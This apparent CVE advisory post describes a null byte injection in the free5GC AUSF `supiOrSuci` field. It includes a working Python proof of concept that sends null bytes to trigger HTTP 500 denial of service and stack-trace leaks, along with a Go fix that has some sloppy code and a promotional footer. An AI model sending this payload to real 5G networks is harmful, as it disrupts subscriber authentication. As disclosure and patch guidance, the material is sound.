Listen to this Post
The free5GC AUSF (Authentication Server Function) is vulnerable to a null byte injection attack due to improper input validation. The core of the issue lies in the handling of the `supiOrSuci` field within UE authentication requests. When the AUSF receives a JSON payload at the `/nausf-auth/v1/ue-authentications` endpoint, Go’s `encoding/json` package parses the request and accepts null bytes (\x00) and other control characters as valid within JSON strings, per RFC 8259.
The AUSF then constructs a URL to query the UDM (Unified Data Management) for security information. This is done by directly embedding the raw, unsanitized `supiOrSuci` value into the URL path. If this value contains a null byte, the resulting URL becomes illegal under RFC 3986. When Go’s `net/url.Parse()` function attempts to parse this malformed URL, it fails, returning an error.
This error is not properly handled by the AUSF. Instead of returning a generic error, the internal stack trace is leaked in the HTTP 500 “System failure” response body. An unauthenticated attacker can exploit this vulnerability by sending a crafted request containing null bytes in the `supiOrSuci` field. Automated fuzzing has shown that this attack can be highly effective, with 4.1% of `special_chars` mutations triggering the HTTP 500 error. This causes a denial of service for all subscribers attempting authentication through the affected AUSF. The vulnerability is fixed in version 1.4.5.
DailyCVE Form
Platform: free5GC AUSF
Version: < 1.4.5
Vulnerability: Null Byte Injection
Severity: Medium (CVSS 6.9)
date: 2026-07-31
Prediction: 2026-08-14 (2 weeks)
What Undercode Say:
The vulnerability is a classic case of improper input validation (CWE-20). The AUSF fails to sanitize the `supiOrSuci` input, allowing control characters to be passed directly into a URL. This highlights a critical gap in the secure coding practices for the service-based interface (SBI).
Analytics from Fuzzing:
| Strategy | Requests | HTTP 500s | Trigger Rate |
|---|---|---|---|
| special_chars | 98,304 | 4,021 | 4.1% |
| seed_replay | 132,428 | 7,947 | 6.0% |
| grammar_aware | 30,944 | 683 | 2.2% |
Bash Command to Check Logs:
docker logs <ausf_container_id> | grep "net/url: invalid control character"
Exploit:
An attacker can trigger the vulnerability with a simple Python script that sends a POST request with a malicious payload.
PoC Code (`reproduce.py`):
!/usr/bin/env python3
import http.client
import json
AUSF_HOST = "127.0.0.1" Replace with AUSF IP
AUSF_PORT = 8000
Malicious payload with null bytes
body_bug = json.dumps({
"supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
"servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org",
"authType": "5G_AKA"
})
conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)
conn.request("POST", "/nausf-auth/v1/ue-authentications",
body=body_bug, headers={"Content-Type": "application/json"})
resp = conn.getresponse()
print(f"Exploit: Status {resp.status}") Returns 500
Protection:
The vulnerability can be mitigated by implementing proper input validation and URL escaping.
1. Validate Input: Sanitize the `supiOrSuci` field to reject any control characters.
2. Escape URL: Use `url.PathEscape()` when constructing the UDM URL.
Fix Implementation:
import "regexp"
import "net/url"
var suciRegex = regexp.MustCompile(<code>^[a-zA-Z0-9\-]+$</code>)
func validateSUCI(supiOrSuci string) error {
if strings.ContainsFunc(supiOrSuci, func(r rune) bool {
return r < 0x20 || r > 0x7e
}) {
return fmt.Errorf("SUCI contains illegal characters")
}
return nil
}
// URL-escape before constructing UDM request
udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...",
udmAddr, url.PathEscape(supiOrSuci))
Impact:
- Authentication: None required; the endpoint is unauthenticated.
- Denial of Service: The AUSF returns HTTP 500 for all authentication requests during an attack, rendering the service unavailable.
- Information Leak: The HTTP 500 response leaks internal stack traces from
net/url.Parse, aiding attackers in fingerprinting the backend. - Affected Version: free5GC versions prior to v4.2.2 and the AUSF component prior to v1.4.5 are vulnerable.
- Environment: Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on a bridge network with NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, and MongoDB.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
